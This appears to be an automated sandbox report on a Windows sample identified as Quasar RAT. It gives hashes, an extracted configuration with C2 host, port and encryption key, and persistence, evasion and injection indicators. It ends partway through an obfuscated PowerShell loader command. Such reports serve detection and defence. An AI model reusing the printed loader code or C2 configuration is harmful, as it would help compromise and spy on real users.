Analysis
-
max time kernel
1800s -
max time network
1788s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
08-05-2024 17:27
Behavioral task
behavioral1
Sample
Uni.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Uni.exe
Resource
win7-20240419-en
Behavioral task
behavioral3
Sample
Uni.exe
Resource
win10v2004-20240508-en
General
-
Target
Uni.exe
-
Size
409KB
-
MD5
7417c8c73e614f293152575f46134216
-
SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
-
SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
-
SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
-
SSDEEP
6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m
Malware Config
Extracted
quasar
3.1.5
SLAVE
even-lemon.gl.at.ply.gg:33587
$Sxr-dOMA5C0pQTTpKjVsCp
-
encryption_key
UBXs44u6E81wxBGZxQHk
-
install_name
$sxr-powershell.exe
-
log_directory
$SXR-KEYLOGS
-
reconnect_delay
3000
-
startup_key
$sxr-powershell
-
subdirectory
$sxr-seroxen2
Signatures
-
Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1104-1-0x00000000003F0000-0x000000000045C000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 1832 created 588 1832 powershell.EXE winlogon.exe PID 4820 created 588 4820 powershell.EXE winlogon.exe -
Downloads MZ/PE file
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 3 IoCs
Processes:
$sxr-powershell.exeinstall.exeinstall.exepid process 2076 $sxr-powershell.exe 2700 install.exe 2168 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 13 raw.githubusercontent.com 20 raw.githubusercontent.com 12 raw.githubusercontent.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com 8 api.ipify.org -
Drops file in System32 directory 17 IoCs
Processes:
OfficeClickToRun.exesvchost.exesvchost.exepowershell.EXEsvchost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\Tasks\$77svc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC svchost.exe File opened for modification C:\Windows\System32\Tasks\$sxr-powershell svchost.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 1832 set thread context of 4360 1832 powershell.EXE dllhost.exe PID 4820 set thread context of 656 4820 powershell.EXE dllhost.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exepid process 2148 schtasks.exe 4340 SCHTASKS.exe 2724 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715189351" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={447BF857-54C7-402E-9358-1A2490BB118D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEdllhost.exepowershell.EXEwmiprvse.exe$sxr-powershell.exepid process 1832 powershell.EXE 1832 powershell.EXE 1832 powershell.EXE 1832 powershell.EXE 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4820 powershell.EXE 1124 wmiprvse.exe 2076 $sxr-powershell.exe 4820 powershell.EXE 4360 dllhost.exe 4360 dllhost.exe 4820 powershell.EXE 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4360 dllhost.exe 4820 powershell.EXE 4360 dllhost.exe 4360 dllhost.exe 2076 $sxr-powershell.exe 4360 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 1104 Uni.exe Token: SeDebugPrivilege 2076 $sxr-powershell.exe Token: SeDebugPrivilege 1832 powershell.EXE Token: SeDebugPrivilege 1832 powershell.EXE Token: SeDebugPrivilege 4360 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2436 svchost.exe Token: SeIncreaseQuotaPrivilege 2436 svchost.exe Token: SeSecurityPrivilege 2436 svchost.exe Token: SeTakeOwnershipPrivilege 2436 svchost.exe Token: SeLoadDriverPrivilege 2436 svchost.exe Token: SeSystemtimePrivilege 2436 svchost.exe Token: SeBackupPrivilege 2436 svchost.exe Token: SeRestorePrivilege 2436 svchost.exe Token: SeShutdownPrivilege 2436 svchost.exe Token: SeSystemEnvironmentPrivilege 2436 svchost.exe Token: SeUndockPrivilege 2436 svchost.exe Token: SeManageVolumePrivilege 2436 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2436 svchost.exe Token: SeIncreaseQuotaPrivilege 2436 svchost.exe Token: SeSecurityPrivilege 2436 svchost.exe Token: SeTakeOwnershipPrivilege 2436 svchost.exe Token: SeLoadDriverPrivilege 2436 svchost.exe Token: SeSystemtimePrivilege 2436 svchost.exe Token: SeBackupPrivilege 2436 svchost.exe Token: SeRestorePrivilege 2436 svchost.exe Token: SeShutdownPrivilege 2436 svchost.exe Token: SeSystemEnvironmentPrivilege 2436 svchost.exe Token: SeUndockPrivilege 2436 svchost.exe Token: SeManageVolumePrivilege 2436 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2436 svchost.exe Token: SeIncreaseQuotaPrivilege 2436 svchost.exe Token: SeSecurityPrivilege 2436 svchost.exe Token: SeTakeOwnershipPrivilege 2436 svchost.exe Token: SeLoadDriverPrivilege 2436 svchost.exe Token: SeSystemtimePrivilege 2436 svchost.exe Token: SeBackupPrivilege 2436 svchost.exe Token: SeRestorePrivilege 2436 svchost.exe Token: SeShutdownPrivilege 2436 svchost.exe Token: SeSystemEnvironmentPrivilege 2436 svchost.exe Token: SeUndockPrivilege 2436 svchost.exe Token: SeManageVolumePrivilege 2436 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2436 svchost.exe Token: SeIncreaseQuotaPrivilege 2436 svchost.exe Token: SeSecurityPrivilege 2436 svchost.exe Token: SeTakeOwnershipPrivilege 2436 svchost.exe Token: SeLoadDriverPrivilege 2436 svchost.exe Token: SeSystemtimePrivilege 2436 svchost.exe Token: SeBackupPrivilege 2436 svchost.exe Token: SeRestorePrivilege 2436 svchost.exe Token: SeShutdownPrivilege 2436 svchost.exe Token: SeSystemEnvironmentPrivilege 2436 svchost.exe Token: SeUndockPrivilege 2436 svchost.exe Token: SeManageVolumePrivilege 2436 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2436 svchost.exe Token: SeIncreaseQuotaPrivilege 2436 svchost.exe Token: SeSecurityPrivilege 2436 svchost.exe Token: SeTakeOwnershipPrivilege 2436 svchost.exe Token: SeLoadDriverPrivilege 2436 svchost.exe Token: SeSystemtimePrivilege 2436 svchost.exe Token: SeBackupPrivilege 2436 svchost.exe Token: SeRestorePrivilege 2436 svchost.exe Token: SeShutdownPrivilege 2436 svchost.exe Token: SeSystemEnvironmentPrivilege 2436 svchost.exe Token: SeUndockPrivilege 2436 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 2076 $sxr-powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3392 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Uni.exepowershell.EXEdllhost.exedescription pid process target process PID 1104 wrote to memory of 2148 1104 Uni.exe schtasks.exe PID 1104 wrote to memory of 2148 1104 Uni.exe schtasks.exe PID 1104 wrote to memory of 2148 1104 Uni.exe schtasks.exe PID 1104 wrote to memory of 2076 1104 Uni.exe $sxr-powershell.exe PID 1104 wrote to memory of 2076 1104 Uni.exe $sxr-powershell.exe PID 1104 wrote to memory of 2076 1104 Uni.exe $sxr-powershell.exe PID 1104 wrote to memory of 2700 1104 Uni.exe install.exe PID 1104 wrote to memory of 2700 1104 Uni.exe install.exe PID 1104 wrote to memory of 2700 1104 Uni.exe install.exe PID 1104 wrote to memory of 4340 1104 Uni.exe SCHTASKS.exe PID 1104 wrote to memory of 4340 1104 Uni.exe SCHTASKS.exe PID 1104 wrote to memory of 4340 1104 Uni.exe SCHTASKS.exe PID 1832 wrote to memory of 4360 1832 powershell.EXE dllhost.exe PID 1832 wrote to memory of 4360 1832 powershell.EXE dllhost.exe PID 1832 wrote to memory of 4360 1832 powershell.EXE dllhost.exe PID 1832 wrote to memory of 4360 1832 powershell.EXE dllhost.exe PID 1832 wrote to memory of 4360 1832 powershell.EXE dllhost.exe PID 1832 wrote to memory of 4360 1832 powershell.EXE dllhost.exe PID 1832 wrote to memory of 4360 1832 powershell.EXE dllhost.exe PID 1832 wrote to memory of 4360 1832 powershell.EXE dllhost.exe PID 4360 wrote to memory of 588 4360 dllhost.exe winlogon.exe PID 4360 wrote to memory of 640 4360 dllhost.exe lsass.exe PID 4360 wrote to memory of 748 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 908 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1008 4360 dllhost.exe dwm.exe PID 4360 wrote to memory of 304 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 356 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 696 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1040 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1132 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1148 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1156 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1216 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1304 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1376 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1392 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1440 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1480 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1576 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1600 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1648 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1716 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1732 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1788 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1844 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 1868 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2028 4360 dllhost.exe spoolsv.exe PID 4360 wrote to memory of 1536 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2252 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2268 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2312 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2428 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2436 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2484 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2496 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2536 4360 dllhost.exe sysmon.exe PID 4360 wrote to memory of 2544 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2556 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2960 4360 dllhost.exe unsecapp.exe PID 4360 wrote to memory of 3004 4360 dllhost.exe sihost.exe PID 4360 wrote to memory of 3028 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 2860 4360 dllhost.exe taskhostw.exe PID 4360 wrote to memory of 3280 4360 dllhost.exe svchost.exe PID 4360 wrote to memory of 3392 4360 dllhost.exe Explorer.EXE
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ada37727-f0cd-41d6-9594-f7bf9e54b4d2}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{717b34fc-f43e-4b55-910a-51c6720e542f}2⤵
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tYtDsKqRlRqD{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YPXUArufHrqiat,[Parameter(Position=1)][Type]$VoQYaUGEOI)$wKuXBxIbriu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'le'+'g'+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'De'+'l'+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+'e'+[Char](84)+'y'+'p'+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+'Seale'+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+'Cl'+'a'+''+'s'+'s'+','+'Au'+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$wKuXBxIbriu.DefineConstructor('RT'+'S'+''+[Char](112)+''+'e'+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+'Na'+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YPXUArufHrqiat).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$wKuXBxIbriu.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+'S'+'i'+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+'l'+'o'+'t'+','+'V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$VoQYaUGEOI,$YPXUArufHrqiat).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $wKuXBxIbriu.CreateType();}$iPDhujhhTrdyF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 